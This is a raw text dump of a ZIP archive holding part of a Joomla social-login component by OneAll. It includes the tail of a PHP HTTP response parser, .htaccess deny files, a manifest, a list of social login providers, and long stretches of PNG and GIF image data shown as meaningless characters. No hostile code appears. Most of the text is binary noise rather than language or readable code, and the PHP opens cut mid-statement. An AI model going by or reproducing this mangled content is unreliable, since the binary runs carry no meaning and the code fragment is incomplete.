($fp, 1024); } //Close connection fclose ($fp); //Parse response list($response_header, $response_body) = explode ("\r\n\r\n", $response, 2); //Parse header $response_header = preg_split ("/\r\n|\n|\r/", $response_header); list($header_protocol, $header_code, $header_status_message) = explode (' ', trim (array_shift ($response_header)), 3); //Build result $result->http_code = $header_code; $result->http_data = $response_body; //Done return $result; } } PK@y>\)$components/com_sociallogin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\D3, , 'components/com_sociallogin/manifest.xmlnuW+A Social Login Open Source License, GPL v2 based OneAll LLC support@oneall.com http://www.oneall.com 2011-11-16 OneAll LLC PCM1-756
      Maintained by OneAll, a technology company offering a set of web-delivered tools and services for establishing and optimizing a site's connection with social networks ]]>
      install/install.mysql.utf8.sql install/install.php install/uninstall.mysql.utf8.sql install/uninstall.php index.html sociallogin.php COM_SOCIALLOGIN_CONFIG assets install models views index.html controller.php sociallogin.php en-GB.com_sociallogin.sys.ini classes tmpl index.html mod_sociallogin.php mod_sociallogin.xml index.html helper.php sociallogin.php sociallogin.xml
      PK@y>\://,components/com_sociallogin/assets/index.htmlnuW+A PK@y>\ ʤZ)components/com_sociallogin/assets/cfg.phpnuW+A array ( 'name' => 'Facebook' ), 'twitter' => array ( 'name' => 'Twitter' ), 'google' => array ( 'name' => 'Google' ), 'linkedin' => array ( 'name' => 'LinkedIn' ), 'yahoo' => array ( 'name' => 'Yahoo' ), 'github' => array ( 'name' => 'Github.com' ), 'disqus' => array ( 'name' => 'Disqus' ), 'skyrock' => array ( 'name' => 'Skyrock.com' ), 'openid' => array ( 'name' => 'OpenID' ), 'wordpress' => array ( 'name' => 'Wordpress.com' ), 'hyves' => array ( 'name' => 'Hyves' ), 'blogger' => array ( 'name' => 'Blogger' ), 'paypal' => array ( 'name' => 'PayPal' ), 'foursquare' => array ( 'name' => 'Foursquare' ), 'livejournal' => array ( 'name' => 'LiveJournal' ), 'steam' => array ( 'name' => 'Steam' ), 'youtube' => array ( 'name' => 'YouTube', ), 'windowslive' => array ( 'name' => 'Windows Live' ), 'stackexchange' => array ( 'name' => 'StackExchange' ), 'vkontakte' => array ( 'name' => 'VKontakte (Вконтакте)' ), 'mailru' => array ( 'name' => 'Mail.ru' ), 'odnoklassniki' => array ( 'name' => 'Odnoklassniki' ) ); PK@y>\)/components/com_sociallogin/assets/img/.htaccessnuW+A Order allow,deny Deny from all PK@y>\://0components/com_sociallogin/assets/img/index.htmlnuW+A PK@y>\vy[zz?components/com_sociallogin/assets/img/provider_sprite_35_35.pngnuW+APNG  IHDR3%_.gAMA7tEXtSoftwareAdobe ImageReadyqe< IDATx  p/N3(&7"J)Q@RBݺABA.: :)8( YJ[JV*"(X)MSMr ts;/9M1T* ,˶UU5G + ΄FELmK<&aLyA0 BI6Uu.="Si2qʽolg3ۍhVzKf,rHHF* P(L< '˲d2X,0 S9{envA?ߘ<bn=hV+v5?i ;2q0*n;;MӰ$I_}2 uƥn 4cț-sݘCnDX6?ܘo7O`z/sλ-=LtbL|%}*{LLm;x7]i"N?̈fXLʔm qaW.4SkĘ6є 6ı cK{=gw`c›L239}y2A9IFH$@uXPV)@n")X9#ؽo@o}5ȘJLwy8'/FWyP5 e>{?v%N&,i^fC} \ܺ.Bfb:#T(|]o?@n> 4dr9W"d qqT*.8iMP,@F*$\.GI.MY+r[ż dL_aФ@Pw }5ϲYRTã~P?aL+ܩ./0 xXj+Um#D ֝lc̺ q `~›sޢ* cdT&$H7A/િƄ=Вd[x3Bۄ7/DNxGCvB#hP~7D~54ҁ֜NMӉP@#h8;V!F3$wX{ ,4@Vg/A86MrESނve?km; Ati UJ !^/|h5&\*/ !@ebm|p66smfΜ^, HqΥ^%3#JּF1#ct0zaBNB*LO Kdlؑk5O>! `E$( 9xj}@BBi*Pl`|E0"1.+C ¢ ;#C/`* "!C+Y,x>1FpߌmےtyA$>" JjgHaҽ;?d OU[VNH0U-BF"X"veC"ܤm8|mu련Y})kE |@rEMuͷ`!1q??/7.?XtAU:s\%ôcdA@5r9Xrݻ3bP 9J!c8fl{0~~"TxIs-I @38P8R[̞L)$A @kyZ5Yt|ҕ zBޡ&fNAYUϛqMOMsg;(R̭S=1BFș32>dpk` (zLƅ1 1e0N2͓^"O=Vgrsu",$i"ږ{Ȉ) dt-G+"dj( Lp=Idz\_y?FuޱβEr"- .SDg? ѬO3{^Sn)MЖegjEnLl~kAE6F6Q<(.3x 7&$ƍ;a *AM,] cD:^0M]LѨƓOTJaxazy&>ř J%e [/& K"+N>%y鿗3b߅=:k:\2  6,%+kB`fLDq8i5B]3*3{ȈQ)&L9dLIޒ34zC_?5Pɚ+pGYfAa?J.ȼr+I_-4 8Xq`qRI\Ldb#& 7q?,*1!j)iKӻ}_"-_VʀV]~ܑM$MX.[Dgw>1*+ 37y5*cĝe!KכpyFq"TXtpt!R>C;l|>EbSŔd5r3m+[2&~0_hcu.55-?9ON ĮOy'w>zmEwZ7??~ Ѧ&?鰛9Kਓa ŀCy5 L1l~0A-;Ȑ{" Xtڼ{cqDy'_Xey`|=S!@de0-i4Edo4:TUE& fNai[ϛ][kA6ƺmUcQJj1j xA})X|A'(VI_ > XVJuD6%3ۤ]\Z:0$Μ98֮{V-9̌|,2L}@υ}麔rD!&% D{ᩫ,' Ssy`+ qtvx> ߮$\KR"%-YȒiHPfR-  o1^JIArוT^|PacSCr ACwxr1($"o=@nxkyR ܅:ڻS4&cip:q=Mh ;ti<$1CiqµD ]mU8 2mz{~~0(-ScC*IJ,ݽ̺i*:wފƓFv, \$4Ɲ|j侷\A* R7Rbǻ9wb$pdY6 bgdf@n#A&@h290#8ncl8qu=X Čn+chl򡿿Osҋef vB{'xIvF!iė8 &[lCsUm[ 3kڲ.ؘ0͕m;#\~?HbQH$B׹p8`0=yzP(d?22@ m1%70i$0꺦_pw!MEa}͙R˰"", (gE~ĂiVDPPQQ?蛂2mjQ2bZ*۴}}\;6W}\v۹=yO J#>$(`%G5wfcU5|A9r`6Z:Ɏy;<.hd+>$,]xB:A-GdHDd/H*gupzqnj@F40P"K69;GO~8uT&C> +*~rM!F9pwuad2VFn[)d9ĵ;bfmN<{ Fu Uۀj7um8)LQ 3`Ò P:Z5.Z ʮ??LNB7U'1rIԉFb~ )>ḧiyzhg_+p8"ۖ~[2$(|L`8 yɨbGU. r*m3:0eYx}XɵS-iĐѳ]ZQi ^])aEfSgL ǵ{QOtz݁x3z},㽿t Q=,]CQj}ç&|Y;e !`X[OR #M\b1ɵd9z`yDҨfpÓ&&hTEYg\(fKQhD~D ?O㾰^o@0R; "^^3wCE~WD[h0$XoAAj vm$cjl_,1H[³7Կ7㱎!p]B!‘Cy3=9HYms ul8Ei [^b4Q__|vb55avv6{gΔʕt[ZTTT0L(**`w uy\ n8F&IE|Lki O/ ~kKҖM6`jsx5"EM&&d0e\4n"-Vdž,$c3ٜa0-TF-m2V~(%MӞsy/ya& a'~ڧ|Ri~!xx[kHN-)d6;zϧtux ћnt 1XhD [x^Q@~.gkI+1gwSRT$D;xF^=![8ו*I)-`$ TN⩼9 "pSRN6y Bdգ rhQsO0S3թOɻD!ncgQIQR&\%#c"!S17H4>GC N_|($0~} mLê0 4,yd< C^*LjEOpMG,wG8θ×]Aˉv|SƼR-#@F> EOZsoU6Bjܐ>ytHpl0cqxxG.$Q(/j5JpɄ4>!'$Ra@cmӛFaݴ;7+|qWgq>fpnSc=\@W{?s҉MKj q^44X)ckgW3 ω[[*7&UafJFGG;pj'`7t|ǎG'`AMI/,df*W89n,ǁ6LLX Nܚ]<"= `$!32h,w yf,]FP({+LuDG uP7Fo`lld 64<DŽN}掱tmՃ4yCKsr'JY؉^Fx}yԕ9kN Ecl}CG7d3V*ۗjtjqb8e9+@<,9-% W/W?y?]s4$XX.EЧ]Σ–V 7V"Gu:3B cQ>7<J2yݏmXUn4c]DOA\ Ӛ|lc8n`Fvm)sW4!(Ehd>h6c~0d:cØH0`ĀA2Lmtkׁ[Yܮ]_m}s=9*K@7&ov +&x E/HovCCϿc9V+~)Qo.1dO dcc~ߏu[ص< ~\sra,Ս0"RDƅԾbNd•Q^87-Xrf=35<VJu.k'r"Ci9A)0e0QR1܃PWJEfN?.:gA?Ɓw;5xjrr>zol_z$bP%_Qe¨<k{g;C&+/r\ 7~09"% $RLL͠B#<ޅ[5AQ}Z?Če' eiqR^Tdo??t?:񛂼[p ;QymPScA\q6>$ B3BRm#xȈQ'EL Fۋ.bl'V+8u 6Yx/ fĥ"ޢ[h8^[!fE^AEH+ 3Qd fHzh Rˁa4`˲$;D&C| \8m?qӈ8ᯆ_AQ!/#nƒF 5 @ ke?f:=@CȎX^(U[K&79 s@땶C<wFGq+YTLk/^@߈̠ ^Vw?p~`<%'=4u$0`0>4Ąv6 pddż&P UM3@MY$ܱy[(a6lǬ{]mL[U~J/׶:BY 38cv%0-:T?\14,24j3nqD!!KcPh'm=tUzo?ēޯs}>Ke+sk0_Hz2d$@\1= /;0Eyi( Is"ʌztZCdXǜr|"G\j&GfBki%ˍbø3KǪו"vN<>C``q۩Dv^h,}F|k@牤-fZnh5".ku:t (^QfH h237 mio^8Gűa-U 2-gHߦ|E7UyḺ&bʍ!0UTKmժ2ܛ;Mx=~k 0k^}}~QZX8"ՍUT2x4~ !OL(>#O":p8011p- Z,ZOo|ʹMslN69577I.y02bmZ>+AcI^Kw*,]F΄ήx:]6};nj3XplfBć#xN}Q}JQ_\)S%X= Xs%Zjk^|,60n]%<`OmG]7ȟbCvxp'ӂ]9;wsx?Gɖ~ m<ԞS3z^Oi1$l P*)+åKo⓫WUi?}cc㬏xr~#05GoȪsoS`sotαsϞNןߦl2$^%m4d͏ni?A9ʼ%GYNF*դTPTY5*IR3O`/*|O;jfEOwxHjfJFd̙9, µBCc`">y3SxILhѹ+kQQ3,ivT~eDzܚ?7 B@bdaBA^QWWjjjV?@=Y tb/*$\-IHٱnH.8NdV[dGq=T] HF<7%J]rKk-8"鿤fF2Z cS*ʽX,jC l_cnqS?{$ 󻠫? ˫?kOڮ5* ?z]#+,u$ SM34ۏ1$Ό?hXb6]"D.Cɴc̀ kaRR9_G ڂ'iJ9=ﹼDOQQQFS.HpC[W "),x,B2B\ g$HiVZU9y9!B:w6>7HHj~Cf b$ЊN_ݵ"?f vJv]3B5o ̈́ZpTH3߂0wiY46t)t,l ` GpPShi~>k-NAx!$ZO7JxtnMӀ-qsAȉBwRL!f 1Hd[Vz((FsWW S*Q7ٹ+g> ?._Tbۊe-3`D 8>( Z;w"J`LSS0tE1su!| `ͨ((QWW.ANA好|f&zRŋr 涄ur3:">cV@*%#Ubzɧnl1D2e¢*;(ƎB4>@C÷9 ǟm_T,?Bck3M~mR2·\ݰZy|^Z)po| ItM-3wAA;Z8:U-n, iRYcf0`W[ I2jfBOO7F3$%Zeυ왹y 8NbbF8Oc LMNd2!=}fɻ~dG`Yq2Wffԫ OgqLs{Jd؆X2#4:D_HM#+INo% *B ^-8~R2xWkTfbg 6CNoT4"K^c.((n]&k,]^lqm=Šl{ Zv*ySx{!o;G|aqs6"/´( +f^sKµYt1yly QQYvurW]mL[U~Џ VEJCە!B(NmNLi ?&~Q#쇺/67, ֮P:(<\ro?ݤ s9=}y<}Wc+@#8f5X6* =H:56"LtU,3=tn7 \CJA*h|JAby!;d$KBznbhd~^d6),`B,,*8![RQ6f I5t{1HR #[ġWq/Tx )#D)% Ue42CI6r)[| 3$4<z{"&W{wadpY2 QA(7_x*s{j?BW1~ABux6X*EteZypA#17HmAk6- fPr) D.-&^z%DT9@hCؖ Z81vSҥA)7,bolnC gB4tm Npd¡xӳcK[%<%tDbh15xgh 0jSG4J4Tt{8u҄R[Q{$ x_o>77lm-BEeX02.sv19`g/@̠}x} ,y2)chVtaX\DquMi AaQ[kE}}=*|1t[i)fF \,R[X߿vP)U(`}PqzgFbDa E J(+gFKp؞U)؋0b)"JQQ0"MZ1gş5`<:G̀ ':vN#58?DF( N(Д 4ȀSb&~C,fg`|w4rLH QbYrT`n [n2.Ǩ?Os0㳡ch^ʼn5Q~2SxbX=l6tuE6hd-z=]J(~̰ZLhnY>(ZW Y!|7&l"" zh0k--ZADV:"#pf%M8cLi8\Q u?d\K6mQReH RInz{yswwb&!$*_‚r#N7 6)$ryڅ+66VO#%4 $~ Yĵ"O[bL0Cn9 5(ANU}C8G+5Vsv@awN*)%7޿M ):PxxsI`+ŁhL08tY\ȫ$fvaZ)1hJOUcvV1SD%XQ=L}&~<'])Ēj98q'N_:V$ z&colx}mzt̅eFD WzF0y<ڤJM>aRjH Hq/hq'~ Sd / 'CCX"|\81d"C`4Į)hx#{)Ḗ  y$LWچFIagr[\x,-F:,45Mc+8- +̲v@," '3sn$T_Gdx&*|j]]WTa v]ȴE3"feWq2 5q [4S A8x2${~Rc@_iQU{l=>WQQV+Zl-Th4Ҫ ^Q#ÁJ7QF  X4mB)xda&)}mqR߲O)fpR!3c<9~ 9 K?9yXY\8xBm1ɍ]G+"vgЦC1iFnzPG$G;`H   0 敋 hmEC1z6fl' qe5jLϟƅīyn4]GG{+k!| JxHw`Z.vaH9g^F>^3;sLʅRȆ/}3"lNJnsqk` wQ6~JS=1Ĺ@ƹsP]]M>rf3E VKeNeOd>;w~ϴ'A?-۶nm^zc&]>|-"r`Q,q ! g\Y >)G Ѻs rRh>ݓæql5/!~91(_gʚ#|gγ@ecݢK]#"I o !l-VnFvQ%[N+hi Y^[ή=2n۱趎 *!.l3H31?c!РQ#ɜ8@+u1G|wŗ|Y~ss~'fɍ7xm]CmA)s׮9<1AP/!hڝ'`]cu"k;.#zɬ Ӡ5Jq={26-4vYv kj!gA\@B󱀌 4:q7GXAtAL$zRT~l;G2n*[ fG$"jp`F (5Ey(Άw Ys9ZՖGH19d: jr Qޔ*bvA,YOA)Lx3c<=𪔘(Q@`kM#/d KTnCDE ? %5[ƀ\Wc>ND94-y8ŭ"p}GfFyiZaCU,f_ VAB3@y~y5h2Oz Jt_l' L' eI\C]]L[$"{>2, jI8RUUŁjW5/_y?1D8 }K_Œg<=n2 cudhK| H5={fB|~; 0ӆONjGxf+-y+ WNqL$u())S4%nN&O*+'O~TG9n{qV&OOȌu0 1gPR\L\][n8_KG/ߩ{h3<; `d"a|dQ$!1Eeo) 7O ,bſ8ia>[0'#4<ԟT';eLDF7M< B4+7NX';x@(crhZadQwEDb ئl0i OD" !u<8fz{{vTu=:1N$=0PTL+sf|%Lzà11%;W/AyN!^ Zc'EJ~G2S0El[3| [{@F e6y bQ|;QG*̈́Gf&f椦P:Jۃns)Q3j%\b Y9#3W:ȑ.4Vr,Fmv(f(Tg&ow`u'^P=gPA'sü.rr&9X(k)""MIHh.3#C"n1shc3 %&m667\YLXbt˖it:ph3BBZh)J?ky,%z߻{=wa&uuuxQ-[l=$ǎ}JeVyf3t]]]HہMd@ypfGv=W>FODQm,J폙rO'`.WR*+i.."a* D2(?-p Y_LPBgub&|3%I.4EfZ&fbG(x㚔=.V qgC3CP 4^@FpY ȔWN]sh|+w`xZEI ix*mrWnDЫ0xFfąpN?Nê㥪R3WA%x5(XMJfV{?ZaJ8=xܸɼ2C% S$'A)x(%s/>!ZCxTNozb3q;}| 2r#!Eaa(Bɲy$TDSqj|v>SxxlLr Bᓆ_L%5)=c={3`F}}=s H?;t߻n l_:;C7$R%*b{VNJV%EOATĬQܘ<.VUWpqh3pDJ =a;3i^z8ٞx" F:ٜq.+ XZ}sfxyf,O7Nͅxl]g rpITg.f(tDG#1?/! - !I= ?i1,[#, 1TN0 ^B?h%KY :.ƶm`9>1s!95!<h˜Á6fƑ!N*Ii`CuA_΍0x>F~SN=k0O%<K9'Da"q x !:c>8^\Z[[WWWd2Ӧ&ނ?0y W/ sKewbqU?{wV?k_[ZDB|0..*›oNH\eeXn=VH\lD43P> !q4ZF|J^zjM &qpp?)q##N2))ޖ($564}"E"˩p$%71)^z3>^\)-X>ehX|ST{7a،mC/cDۙ0|)ءT_Xئ8X[Z. :xpDCG@4!&CF3LAÄd1?0`ę130ƐCҵem};w-[w@8ڻ{=˺̈́@S5k`ӦM̠@}{drm{\%fFLL 4sTu.6 rxaD e_RQ`wA%ubf08i-au8CN_O2Z>: ʭW[Co7evh!z~ąa?:`ЙQWn:ߜw zO 44CG6ljs~Jc--Р{^^oS['r.>~!*TA(8PRgXt UAƲommETŠ+iIu͌l0Bv}Zǿ&4|,>q\N\=ygfM`fqfL|9]̌s N sf`k|ClMy u2{t<}dT&7CQjhT–Z'jki THy6 í^hy# m,*sOJ-<=P +]sR\Ji c,*72b21~?n\yы q# qc\3{/Co.?A)x!EǖnG5N[6Q `ەmd8|08:`u@Z_ %B PN@Wu%7 Gc;8th?/klڠ),Ub,^\7ױuk#F`E6 o4eъ22]>>9h9kK\ϿXy| ݬ>RѺ 1H184"JX^{Kk* `JIob,2BǎC|ck*X;ZgytDo6tJX5> ^/FL? e k3B\F ڵQEoمuay%-`[GIƀ)??lc"1?h%~JkB+ )*;:Z>AU AXAP2^ ?9w}ٻ -$u^՘O)\1~̳ND2آLqHi3, 8F#V3l,'2.r(=]6*3C &Lj/\q +:J**}녙ț(`B#mH;8ϜIHJJ(1}jU.}U1O|InSFڔDo\g] ,Hɢl*& 2Dfj9/x34ngB73w35e X\^Sr&T%83R051X-5iѻp =x(:_q_1HxL}s0уkl32JTйg&F|֕r8HioWTYQmPw I& 3j5 mxhy˫hIo,@eYA2$ynBJ#LT‚+y7D"9͸A3cg:(Q取aSizVn\bn cgj@ g`JB|ׇFYg2ȋw5&U "^5Q}r'mK'.Oސ5rDx@r.fL#D!Q6[:OMM(MD6a,--j\wfh ^Ր>f8|cfd#_3"etl)LzipKHI[΃~fJv,6;s63W͗Liֺ:NJYw>[Sۃc L$R/.  @JpPu"̜ulH/ V4mr?/ b_#twa@ &*zv"ࡠ Df3IavCʹ ٳ"XJ^s: Rbg8A~lnš_[QrxgGɜ'}_X((?ʂ,(Pmmj_mLiH >T5(}hlԚ؇ICM_iV}X(h bK*ȏ °; ;d{gޙ{99=cůO⪂fp O[ZV۟8Ѵftwu!fD k+03!gf(18\/o}U fjViN6h[:-&< j5sK[{;8Ap `3 d񥇋 Ϩe 2]נVv8{mƹXS(vbCZl @ޘ@ zHPEgb?Cjl h]',s3 A9.0'"G`%H.La H-sIEA1>ٵ-yMil )H{ ]he3-DžzA#P#Wo{B} 1Ea`dXideV>fR1ɊDD`n$"% 9 S0,37Bt,]_&z )mx ЀtB c̄#QPWbfDG *Hl޼EPGN8si4O3>a >J33$_g ݲ{N7ቨ{ǥuEfL۰nrmY;3Yu[x2%rN(A5+xIL)S绖W̧ܣQ̌w N>4"%!]M!Momm3gZ%(fqz77zp_xgMSYZ Ǔ3)29kyP::(&XANHׇ<Ԇ B&3CS$Mj~tu W􏆓 ;ѕGu{+K`ppbf$r3)-1<A^·)| Law҂G4-pl)NjwJ#MLE# cl&H.C ɼ8"'rͰJ`##LWTbSQ1/ dS O1?;ݘZAuSdfw)f!:TUwY߶쿿}no-.T|Rfw秐i*@!qI!lL':$5+z!22^xIo= 3e-jo7K!҂wa;7l'R`FE5>ml}P!.7d `g_|#Q=D̑;gao{7вk4%)0UlAL讱7)l(3#F x)0'O͆{(+}23JMt;,۷Z H1>pmށϿ@8_9G AB mFea jmua||BS3 Za 6W/nF)rl'dijIf*f'@F8EwZEBAX oh.^x$>Ó>\] (>CУFЫ3cȄ xgl Nnj"  l yEdgvc=*0?9mD3$Y P?VO>9Lhb;*mUt=9j,ͤw5Pոy NQNٷ:G%jA^TV ÛALύ.`Ù ^T`rD qk%4GBYw Of`t5$] $" gTǶIHtByIXXYo; `cL1\\?H֘6(zltH`4\1 dBupL-ab48[B0hFBbXbdtdLd 8ZF{ޏ~|/i~眣|DP 1"yȳ@o O:)JToC}]\95'ӫfjyZfbٶ 38)z1(s(1@mf]z\s3.oL *7:3x}+@2L{k2i13#V*>O6{F֐J5VHr|u Jd?DŽ *aoAY{gu+5ٍ-Z0aNe3*uP)Pf٘rb6A%4gm . "LmTńPIWj (4"}**an Y)iL%Ή5swZXʠT-ڶ }xS~虏72tkؘF!/ m8dRwfn2C6galV{>6z$ZdaCIH&.+sP)Ac y9N`3X~Fe"Z!&'ۏ5*ɰt J54@c~,,@iԾC#+S.)33Ǽ~}݋ j;d3[xIuf*A?*?H}ӺWq)Ҭb2n3&R:{7|,#fBď6̋F026 s6þ1͂>9/S<#w*3 H`+'_pm2<¾$a&rΘrZPN 2\+'64FSa!MZx#72POֿh/:WJF-=V>U|5yq_D~Xlݧ:Nןư}k*`F>/.nE 3fZmm-P "1#pN/HV-Im7}5̾^6xY͙xd4_o!u2<= detcnz10vȦwp2;̉U+L& 3vKJѫX UY- ЕE\]P'<]1s0+Ò,Ę ڵǴUﶥ"G$:DpQD`f|0MFbŒ1!0,#1Ym%eci6xP֭JKs.-Mnz{ι=w 3q\ `X)x7CGCp}!0~Ct254<~٣'c%fXrue(L`ž"4o}f<#9#F8Aַ#cIKEFOkωD+3T[ 2ػo{qdT f|I <ڻp=NcA 78"zav蚀azqxA I`Z y^efF|3,IED?L#U-0M,-0E186 AFf/T78HY->?XZ&d2>j=IH(O*zz={9qW€60OxDZIJ!E AH#g~8/l )1G&m^1On#@:O:y2zdd%G^S,uZXY>''D!NY2yڢK`:G-|#})?;x27vO-ųũQixswK#Ik}(MËe1ebrncPX|l1h* dtM=@3ȅA1;s@0g~D T7"Mc`))8wqx;q ӿ0@㿶;kJGoiiA}5p&gd9~Ȯ _(13$ǠĴะ~j8ӆqi X|GvTUI}T~b-a֥ 4755ŤrO1jB NZ1(nx `ʆwMTAb26ߒ+3ZCg.wn$'D0*gZ(IshǞ8\t 'gp419yU|NL.p<ݽf:VWN$>[% e ܡL,K8B:o|  (Հ}H[>i7ľ01=J>45}J$PEC!i9~&73sN"_™3?19Q<* ͪ~@ܚtDg7=P1 dMh̸X5lYTm.3Nh ^/ zǍ@v6VH=WTcss?#kWU>#.Lu.h! Ntf/ Ս`Æ~@s|YygWڮ6* ?2ñc7\̜ hq?3΄0Dqq#ܲɶc9436lJ[B479_}}^i;Ƞ@KP>ĤDOR5XZiG~cry$drB}gUi皹a&f2#ãXTH+tcd|@mV{A@rE".$QAk݋%c“o}ۤhƟpE>@xN_5-AY3cfrxAl_:i$lPE*m#(82~XJayfx"H;4a4Op+!(܊jaҲ`qIdǯ2`;>`Zu x L LJ<SP-3 w * wv$ܲJ-lv"~&3&O&Bi s1Jruh-TXtH5G8;bC msg̈́$(ph<YAFIQJ7H{-8J}$UjHI"vTTTZ& MMMgĿ9b҂fN J+C8 yg ]#Վ}DŤqRrP`7P-٭/-3_uIhM"DC9̓1{e}{-!n.vn߳b >v1ʲB<_&'C3|~B =ׯڕs>/ u@ΌɰAMmi+/> *;bP9XoGfXЗWca< N+مBLg РO A *esѭ#[!L9=7V*NӰ:%OK+bfemێ'pg=IBeZ(dq:ېû=~{0mHwQpo&'a2{i/7)1Ԣ7#pO!FE^>3a&OG'fR$C>ʭepw]f@AD?cL.1F.HjA3UԼb(vGIFhv1mUa)-Phڱ@AX ̕) Qa~kqmH$[ 2hMc2#lS( z^=r-eIN{=<>($Ϝoھu+`:̂Lb?ׯ().q!qnv5jg2Ʉ=3z38̢ !-vIsfp3EQ4 h?=QAv5&0C)b3Q2ej.+N}ЉJ U#ƨ;p~NUbD&!Va!#c0 <@}ikeLA3f"!㙱}}]tsvol$MD8jp;ո`?oɆpPn9h01p: K^EBni'~ $k GǖYXsAa`TG-w5Cͩi ɤbp#6VP1Wh݁fGL<"xVɿCsCƉ_&Y01J[immUTTTȃ-yKBt1==E|轻h. x: +7iw!skoOTveb .e5e'iqgp1;Hæ^ͮˆ- ֥E 1~qg>ݞNSJ(_'a%41rRc^(zݽutG ٔsD_hjV\U5^{8._ns^ f}/bRYջ%Yɹ\qf:n;vo;q:/SyG|$&N, Y2;O6 sLT}"m AIa+V?AP9^vE5΢<˗.!Ehrru a0iU.fc( ^@c v }I}br=Z#oWVm -6eY,f M1n̍AlFcQF>L3g1c? 9) RzAvŏs9sybLHUĐ?%!`Dkkbn'9H`%qL.hXt[5d $3z(eS%A rM]}!7say`ZODU:vEB]& ;8z5r}ޠ_79&>bO!4&QDGj#3V兵dӣmu,X2i(bsxyp?6f; 蟡U x>Aq9`j&ʩ#(_ͣވ d"%HKD>D~gs!<5%5x~&,#Ig9M݆mT4>҂_}pà}90+5[ʰ^kn-{D#2rJZFΉDult4@ƍQZ0L&=L HΝ>;fN75v(LFUJG"^"w'{q>FA|džގ2r"L= {Pa% Я|w{ )}n[2Kw<8C64TEfzgþxOaTl-\6 = JO4M&.aG.2@5 [7[}Oա[xJ=#jgg' ĩ"Jz̐ ;A. dv(JVmQfK䞲 yN mT:RƎ,.'\l[ ЦQǣ0eFP3)c`3} sϫKN^KRɮZJ~H Ȑʾkln>=Tf`"i߄a_?##Àm=?V+?e5"*0eo?p ˞؅ a @)]"XNTphopz2-~==(,I }ܧ*9GYD2DCB4K.3mJcZgχ ^!NC2]9`? {#@ )%^:$@cSïcҪ-qVӞӋQ@(d&ekĩqs_fEL d,aY [lX2A(S;mzoq%_~=={y{cs+AmvE#O-J/wM@/L2%V[Gb̽(ÑẍR n:{5SH]M2s #_@\Ա]۬Ͼم&8"0ky|쉃TԌ{av! 4>sc끣QUlh<7AâfؕmF,mW=8VkX["݀a  /p0ciETҙaADDl6bi.եEHAdh LsQCfd F8.m211ΏAHGT"M)@4wdmC))7j(nu4U{-Ĺz4TK['L$DJacϯXAz+̺c-<.e>Ƞl/Ub (!~ySJ:7F0& gy-P]M{NKjq_8s:UߢގV\O Z nwEx23;[wCVlE3xwa+c~Fj6uYf%+;/<8~[Yp\Gu69h4s֔~[,>l6D)*ϓkj!Z;;6LoAfǚY" n&s׿Ḉn4xpN'Z$3Cf6Gg]U)0 zkg=G IUEʹKcIM!4=oB7AbR?NΥ*ΔrMel]ohg]˥MvIY&CJu`X}1ৡOe0? 旂99X4~ܺ@Ztkڵi.'}{l)3yF `i`O+&{YX"pDv⹶{1xXWEȲm@-J} ds64) qOIߏϐwc^Dp'J5 f&SW!.݁sbwb\QLS" f`Ʊ+}SRfsD`q^7\bnQ"W-c=GU"@܄qʹShn^!~@mKY;D/f!6^8{nDbX13l;^1=[#W3BXjblZEq^ćošBi_XR8A$502f4U$qPS)WVorOc; )[}9:ȂwO׌V*p9鑇F=/4;ɒĠ %\=H!mY P Thbݑ3yNo~d7z[rQpؕ:Q|s2 86*9 ҘVLO?Z6"Ŭ -&-~ 2Bv,E'?At5 Ȏ]^b@R|wW Ok7,wDEϾM6-M&[E| X*JA| ((QCAׇ |WEŪU65MMI֙Ħ6Mb}%3;;s3a׿$ ['EJͤWF:i UYyV tbzNglʾЍkQ^ʏZps2Qw/ԗPb6[LjO˾i'D-½nb+U rLL[X o==RHJHI(ZR11LR%{a6[G-20F;޸t;`+Ȓ Esavw="p[)̆T#"> bU?°r`hhhWiJ*Bq_5fعmٹ!sp̼jxOZ)B&dFPvs$ԭ;(+%bnA1z,439 q~ 矀3/qxǻv)6.\\P_Pz_11,33~f 4Cб 8x 4t`^?vk@{+W6K4eiPyUUsEa=甖^e0&y9+,=xdDawVƨ?X8Z_Obp퓑Ы2&޴EIپte.'Q@"duhө18FO#ⴶ~[wHޭwB^D xpmmn>uĴuK=rM+\-C&$w3IC! ak{%v<pQg}`Tݘ$uDDy\=M,hͰTQS9)WOBf,0 {v#ޟ*q ~ly=z%0~W뗯ܼ̌4lqBr1!mHJ#,[=3 &Ȭ\58]KOQfSjE-WBFvqp1q?0]kHԸ5hPGۙΌs@)8Mtzgr̽|;;i&ER=' 5O/jEpwta G"zhy|&1@! ՅhcpP C gM-2/_Cyaev%!Wܿho3T;0 As()1_ ]`UZqѻH#@>Rg?]9FՃgc 0`)aɠ3qؾĴq>c]*F6#nTbPn8_Yl3P4 \`&Q@|=<90? JW] 0|XG_ H'3-G9SMM̾w>x5o |35`BׯBVͪ; 9f*y u{V@ 1Oi roK3>3|9 tk hͷ_W8j!HaDi[bq?٘1[aSO8w2d c|{?,#v'5 ` GY2hfpS_ed9k,, L3:|/VF=~:x+ 0m3<񏉙9W001{T@,}=vT|k?%4:=G ~"U6.7 ƕ1F4d( ap!m$? OrHjQ<(Vc̀la@"X{40le =KC^NZ/t`fb/Fx xx/?(q`WFfLÉRhRkn|01;\ zE8;+ß+Xixf& $yH00=e&@E_2Wg˗ ;Lʖ7-uHMػ݄ah$P=Bb|C?/.(k6 B3@Z[wBf`J.LWo*Y~kHUI?*ղ=XB{rL.&U}wp+vk{?=lgX*fYv&QO6`bf&VF*)ۨ'II]˧t.tk:gizWurxʣ#M'F7 Մ͟bIFac7h7_P\Qm-8}e mJ&ANU1q;5tB]'ϯBKOs/ػ݄a@[FHhMw6$&tq h?p% lىc;? n,r"kre"UF;yUq ~0bC, ^4@a:~J2yzne]bEO '.dR/5L^Of v(WfjWe*L/y m?= ODs} m ƹLjͺM\& }L2r=d0VZ'yn45iz)8 rM AO'p|lvkvؼh[J^ˋ*ךr>=ҝOieE!a!qe|^?1D7B9*!%0*SL z c}2}3 "%; |~$Oguɥ.^XٹzZr[X%tm͆75 AnrЀ9E5ݨ?kZ|׃S]'Q5$IzOQ7EJԤ)(M @ Qf;3iβBjKzUӾaA#8YCl`fE|'F~4.3ASƱ݆*ixZp='kldG>ilݫky^\Y:ݷ 8 zǗD(!_?B͟ e(lG= qЏ[c7 wKys@T 0 K/A{8x\nB8components/com_sociallogin/assets/img/status_loading.gifnuW+AGIF89a???^^^}}}!Created with ajaxload.info! ! NETSCAPE2.0,30Ikc:Nf E1º.`q-[9ݦ9 JkH! ,4N!  DqBQT`1 `LE[|ua C%$*! ,62#+AȐ̔V/cNIBap ̳ƨ+Y2d! 